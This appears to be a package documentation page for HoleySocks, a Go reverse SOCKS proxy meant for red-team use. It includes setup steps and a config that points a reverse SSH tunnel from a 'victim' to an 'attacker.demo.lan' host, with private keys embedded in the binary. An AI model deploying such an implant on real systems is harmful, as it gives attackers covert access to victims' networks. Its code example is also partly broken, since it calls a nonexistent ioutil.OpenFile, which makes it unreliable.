holeysocks

command module
v1.0.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 29, 2021 License: GPL-3.0 Imports: 4 Imported by: 0

README

HoleySocks

A cross-platform reverse socks proxy.

Getting Started

As a module
import github.com/audibleblink/holeysocks/pkg/holeysocks

func main() {
	//error handling removed for brevity
	config := holeysocks.MainConfig{}
        configBytes, _ := ioutil.OpenFile("ssh.json")
        json.Unmarshal(configBytes, &config)
	
	sshKey, _ := ioutil.OpenFile("id_ed25519")
	config.SSH.SetKey(sshKey)
	holeysocks.ForwardService(config)
}
As a standalone binary

It's required to embed all the parameters needed to start and forward the socks server with SSH. Do this by creating config/ssh.json and using make

cat <<EOF > configs/ssh.json
{
  "ssh": {
    "username": "sshuser",
    "host": "attacker.demo.lan",
    "port": 22
  },
  "socks": { "remote": "127.0.0.1:1080" }
}
EOF

make

CAUTION The generated private keys are embedded into the binary to allow for the reverse port forwarding without interaction. Follow the instructions below.

Before running the generated binaries, you'll need a user on your attacking machine for receiving the reverse ssh connection that forwards the socks proxy from the victim.

Once that user has been created, (with a homedir and /bin/false shell), append the generated pubkey in your authorized_keys file on the attacking machine.

The Makefile should generate the needed commands and entry for you when you run make

Documentation

The Go Gopher

There is no documentation for this package.

Directories

Path Synopsis
pkg

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL